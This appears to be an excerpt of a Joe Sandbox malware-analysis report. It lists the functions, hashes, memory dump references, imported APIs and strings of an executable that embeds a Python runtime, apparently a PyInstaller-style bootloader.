Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
Instruction ID: b4301dedd7ed1b051992ec08d8d71824f1e6ecef3c395f9e4cd5686c0c1fbae8
Opcode Fuzzy Hash: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
Instruction Fuzzy Hash: 5951B537A3965189E7249B2DE041229B3A0EB44B5CFA54131CF4D177B8CB3AF863C750

Function 00007FF77B1F11C0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
Instruction ID: 32e081bb548ea5140773fd1d692740d7367e719e9695254816098ffe5ead67b3
Opcode Fuzzy Hash: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
Instruction Fuzzy Hash: DD518E37A3965189E7249B2DE04022CA7A1EB84B6CFA54131CF4D577ACCB3AF862C750

Function 00007FF77B1F09A0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
Instruction ID: 070eef54ffd8d6cbb0a9e499e7bc75af60351c438d7cd183c2736bcffb9fc4d0
Opcode Fuzzy Hash: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
Instruction Fuzzy Hash: C9516137A3965589E7249F2DE048228A7A1EB44B9CFA84131CF4D177ADDB3AF842C750

Function 00007FF77B1F0DB0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
Instruction ID: b661a2b46a9c409246fd7ef36ac5e514f5cc3d3597da88d10bac8c148dd43e16
Opcode Fuzzy Hash: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
Instruction Fuzzy Hash: 8951A337A396518AE7649F2CE048628B7A2EB44B5CF644131CF4D177B9CB3AF852C750

Function 00007FF77B1F4F50 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: da7741076d9f3bf10f160a24b971eb62e4e69f9a342049f5ffeea83cded528a9
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 5941B87383B64A4DF9559A1C5520A78A680AF22BA8DE85270DF9E533FECD1C3687C160

Function 00007FF77B1F8BA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d52a693ca64156346f3ce50e8e1564a69fccf06189b002bdd4e7495fde204544
Instruction ID: 09f208ec9ee444c115e0d58cc46d9b88e5c32a2491edc7bb4990f9ed4fd545d1
Opcode Fuzzy Hash: d52a693ca64156346f3ce50e8e1564a69fccf06189b002bdd4e7495fde204544
Instruction Fuzzy Hash: 31412873735A5886EF44DF2EE9541A9B3A1BB48FD4B889432DE0D97B68DE3CD1428310

Function 00007FF77B1F6560 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4673de95ce1c3203f19ce9ce644468e75f80e7845f38315ddde02822e300f2
Instruction ID: f0005f718742b535a756df85eb0cb073de31a6da3e9f685cb1381a83898c2fe8
Opcode Fuzzy Hash: ee4673de95ce1c3203f19ce9ce644468e75f80e7845f38315ddde02822e300f2
Instruction Fuzzy Hash: 24319433B3AB4246E614AF29744017DA695AB85BA4F544238EB4D93BBADF3CE012C614

Function 00007FF77B2089B0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98f8205f4dd5ad0f3b4c63852b6076f32f3a1b530b1ff8e23dc59df104b107b
Instruction ID: 0844e20e80da88dcbeaf2fd53ba2f0ed4cddc7eacc417c0f15f2208ab34c39e5
Opcode Fuzzy Hash: b98f8205f4dd5ad0f3b4c63852b6076f32f3a1b530b1ff8e23dc59df104b107b
Instruction Fuzzy Hash: 84F068737392558ADB989F6DE80266977D0F7083C0F909479E68DC3B28D63C90518F14

Function 00007FF77B1EB880 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03ec394501486fefa8e68c4fc5f22486c81951ca79d36a27091b1f9b4683aa64
Instruction ID: 72a615752e40a38b216d025f7cd4774903b3a93aae9a417272854cb94dd65c71
Opcode Fuzzy Hash: 03ec394501486fefa8e68c4fc5f22486c81951ca79d36a27091b1f9b4683aa64
Instruction Fuzzy Hash: 7FA0013293D80AD1EA84AB48A890431A260AB55305BD40131E40D411B89E2CA440D320

Function 00007FF77B1E3DF0 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3E06
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3E45
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3E6A
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3E8F
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3EB7
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3EDF
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3F07
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3F2F
GetProcAddress.KERNEL32(?,?,00000000,00007FF77B1E30BE), ref: 00007FF77B1E3F57

Strings

Py_Initialize, xrefs: 00007FF77B1E4045
PyImport_ImportModule, xrefs: 00007FF77B1E4275
Failed to get address for PyImport_ImportModule, xrefs: 00007FF77B1E4291
PySys_SetPath, xrefs: 00007FF77B1E44CD
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF77B1E4629
PyErr_Fetch, xrefs: 00007FF77B1E41AD
Failed to get address for PyImport_AddModule, xrefs: 00007FF77B1E4241
PyUnicode_AsUTF8, xrefs: 00007FF77B1E4635
PyUnicode_Join, xrefs: 00007FF77B1E465D
Failed to get address for Py_NoUserSiteDirectory, xrefs: 00007FF77B1E3EF1
Failed to get address for PyModule_GetDict, xrefs: 00007FF77B1E4331
PyModule_GetDict, xrefs: 00007FF77B1E4315
Failed to get address for PyUnicode_Replace, xrefs: 00007FF77B1E46A1
PyUnicode_FromString, xrefs: 00007FF77B1E4545
PyObject_CallFunction, xrefs: 00007FF77B1E433D
Py_IgnoreEnvironmentFlag, xrefs: 00007FF77B1E3E85
PyErr_Occurred, xrefs: 00007FF77B1E415D
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF77B1E43A9
Failed to get address for Py_OptimizeFlag, xrefs: 00007FF77B1E3F19
Failed to get address for PyList_Append, xrefs: 00007FF77B1E42B9
Failed to get address for Py_VerboseFlag, xrefs: 00007FF77B1E3F41
Failed to get address for PyUnicode_Join, xrefs: 00007FF77B1E4679
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF77B1E4381
Failed to get address for PyMem_RawFree, xrefs: 00007FF77B1E45B1
PyErr_Print, xrefs: 00007FF77B1E4185
Py_DecodeLocale, xrefs: 00007FF77B1E456D
Failed to get address for Py_UTF8Mode, xrefs: 00007FF77B1E3F99
Failed to get address for PySys_GetObject, xrefs: 00007FF77B1E4499
PyObject_Str, xrefs: 00007FF77B1E43DD
Py_SetPath, xrefs: 00007FF77B1E406D
PyList_Append, xrefs: 00007FF77B1E429D
Failed to get address for Py_DecRef, xrefs: 00007FF77B1E3FE9
Py_NoSiteFlag, xrefs: 00007FF77B1E3EAD
Py_UnbufferedStdioFlag, xrefs: 00007FF77B1E3F4D
Failed to get address for PyObject_Str, xrefs: 00007FF77B1E43F9
PyList_New, xrefs: 00007FF77B1E42C5
Py_DontWriteBytecodeFlag, xrefs: 00007FF77B1E3DFF
Failed to get address for Py_NoSiteFlag, xrefs: 00007FF77B1E3EC9
Failed to get address for PyList_New, xrefs: 00007FF77B1E42E1
PyMarshal_ReadObjectFromString, xrefs: 00007FF77B1E451D
Failed to get address for PyErr_Print, xrefs: 00007FF77B1E41A1
Py_FrozenFlag, xrefs: 00007FF77B1E3E60
Py_OptimizeFlag, xrefs: 00007FF77B1E3EFD
Failed to get address for PyUnicode_FromString, xrefs: 00007FF77B1E4561
Py_BuildValue, xrefs: 00007FF77B1E3FA5
Failed to get address for PyErr_Restore, xrefs: 00007FF77B1E41F1
Failed to get address for PyObject_CallFunction, xrefs: 00007FF77B1E4359
Failed to get address for Py_BuildValue, xrefs: 00007FF77B1E3FC1
Failed to get address for Py_Finalize, xrefs: 00007FF77B1E4011
PySys_SetObject, xrefs: 00007FF77B1E44A5
Failed to get address for Py_GetPath, xrefs: 00007FF77B1E40B1
PyUnicode_DecodeFSDefault, xrefs: 00007FF77B1E460D
Py_NoUserSiteDirectory, xrefs: 00007FF77B1E3ED5
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF77B1E4269
PyLong_AsLong, xrefs: 00007FF77B1E42ED
Failed to get address for Py_DecodeLocale, xrefs: 00007FF77B1E4589
Failed to get address for PySys_SetPath, xrefs: 00007FF77B1E44E9
PyUnicode_Decode, xrefs: 00007FF77B1E45E5
Failed to get address for PySys_AddWarnOption, xrefs: 00007FF77B1E4449
Failed to get address for Py_FileSystemDefaultEncoding, xrefs: 00007FF77B1E3E57
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF77B1E4421
Failed to get address for Py_IgnoreEnvironmentFlag, xrefs: 00007FF77B1E3EA1
PyUnicode_Replace, xrefs: 00007FF77B1E4685
Py_Finalize, xrefs: 00007FF77B1E3FF5
Py_IncRef, xrefs: 00007FF77B1E401D
Failed to get address for Py_IncRef, xrefs: 00007FF77B1E4039
Py_DecRef, xrefs: 00007FF77B1E3FCD
Failed to get address for Py_FrozenFlag, xrefs: 00007FF77B1E3E7C
Failed to get address for Py_SetPythonHome, xrefs: 00007FF77B1E4101
PySys_AddWarnOption, xrefs: 00007FF77B1E442D
PyEval_EvalCode, xrefs: 00007FF77B1E44F5
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF77B1E43D1
Py_GetPath, xrefs: 00007FF77B1E4095
PySys_SetArgvEx, xrefs: 00007FF77B1E4455
PyErr_Restore, xrefs: 00007FF77B1E41D5
PyImport_ExecCodeModule, xrefs: 00007FF77B1E424D
Failed to get address for Py_SetPath, xrefs: 00007FF77B1E4089
PyImport_AddModule, xrefs: 00007FF77B1E4225
PyObject_GetAttrString, xrefs: 00007FF77B1E43B5
Failed to get address for PyUnicode_Decode, xrefs: 00007FF77B1E4601
Py_UTF8Mode, xrefs: 00007FF77B1E3F7D
Py_SetPythonHome, xrefs: 00007FF77B1E40E5
Failed to get address for PyErr_Clear, xrefs: 00007FF77B1E4151
PyObject_CallFunctionObjArgs, xrefs: 00007FF77B1E4365
Failed to get address for PyLong_AsLong, xrefs: 00007FF77B1E4309
PyUnicode_FromFormat, xrefs: 00007FF77B1E45BD
GetProcAddress, xrefs: 00007FF77B1E3E1F
Failed to get address for Py_Initialize, xrefs: 00007FF77B1E4061
PySys_GetObject, xrefs: 00007FF77B1E447D
Failed to get address for PyDict_GetItemString, xrefs: 00007FF77B1E4129
PyErr_NormalizeException, xrefs: 00007FF77B1E41FD
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF77B1E4539
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF77B1E4651
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF77B1E45D9
Failed to get address for PySys_SetArgvEx, xrefs: 00007FF77B1E4471
Failed to get address for PyEval_EvalCode, xrefs: 00007FF77B1E4511
PyObject_SetAttrString, xrefs: 00007FF77B1E438D
Py_FileSystemDefaultEncoding, xrefs: 00007FF77B1E3E3B
Failed to get address for Py_SetProgramName, xrefs: 00007FF77B1E40D9
Py_VerboseFlag, xrefs: 00007FF77B1E3F25
Failed to get address for PySys_SetObject, xrefs: 00007FF77B1E44C1
PyRun_SimpleStringFlags, xrefs: 00007FF77B1E4405
PyMem_RawFree, xrefs: 00007FF77B1E4595
Failed to get address for Py_UnbufferedStdioFlag, xrefs: 00007FF77B1E3F69
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF77B1E4219
PyErr_Clear, xrefs: 00007FF77B1E4135
Failed to get address for PyErr_Fetch, xrefs: 00007FF77B1E41C9
Failed to get address for Py_DontWriteBytecodeFlag, xrefs: 00007FF77B1E3E18
PyDict_GetItemString, xrefs: 00007FF77B1E410D
Py_SetProgramName, xrefs: 00007FF77B1E40BD
Failed to get address for PyErr_Occurred, xrefs: 00007FF77B1E4179

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
API String ID: 190572456-3109299426
Opcode ID: 67747be8a076f706c1c9372e7d2496993eaa02b7082083ef588a9e8b618be952
Instruction ID: 1ac3ad61b6694dbe10efe4ede4aa0e7b48899a3a2c2d3aa50bfcce0eb62834d2
Opcode Fuzzy Hash: 67747be8a076f706c1c9372e7d2496993eaa02b7082083ef588a9e8b618be952
Instruction Fuzzy Hash: 8F42E776A3FB0792EA69FB5CB854274A2A2AF45785BC45531D80E0627CFF7CB1588320

Function 00007FF77B1E2030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF77B1E205B
SelectObject.GDI32 ref: 00007FF77B1E20A2
DrawTextW.USER32 ref: 00007FF77B1E20C5
SelectObject.GDI32 ref: 00007FF77B1E20DB
ReleaseDC.USER32 ref: 00007FF77B1E20EB
MoveWindow.USER32 ref: 00007FF77B1E213B
MoveWindow.USER32 ref: 00007FF77B1E217B
MoveWindow.USER32 ref: 00007FF77B1E21CE
MoveWindow.USER32 ref: 00007FF77B1E2216

Strings

P%, xrefs: 00007FF77B1E20AF

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction ID: cad0b1e2c73ed84897964ac720c0c017c7b36e9e975c437ee0c890476af12be1
Opcode Fuzzy Hash: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction Fuzzy Hash: 1B51C6376287A186D624AF26B4182BAF7A1F798B65F404125EBCF43694DF3CD045DB20

Function 00007FF77B1F0228 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F0268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F0630
_invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F08CF

Strings

f, xrefs: 00007FF77B1F036A
p, xrefs: 00007FF77B1F030D
f, xrefs: 00007FF77B1F0300
p, xrefs: 00007FF77B1F0372
f, xrefs: 00007FF77B1F04B5

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction ID: 98192864b81407f90571aa996c4131dfe23a31379b71f330d13eb494624d9670
Opcode Fuzzy Hash: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction Fuzzy Hash: C1125E73E3A1438AFB20AE18B05867AE791EB80758FD44135D799466ECDB7CF480CB60

Function 00007FF77B1E12B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF77B1E13E9
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF77B1E1312
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF77B1E13E2
Failed to extract %s: failed to open archive file!, xrefs: 00007FF77B1E12E2
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF77B1E134C
fseek, xrefs: 00007FF77B1E1319
malloc, xrefs: 00007FF77B1E1353

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
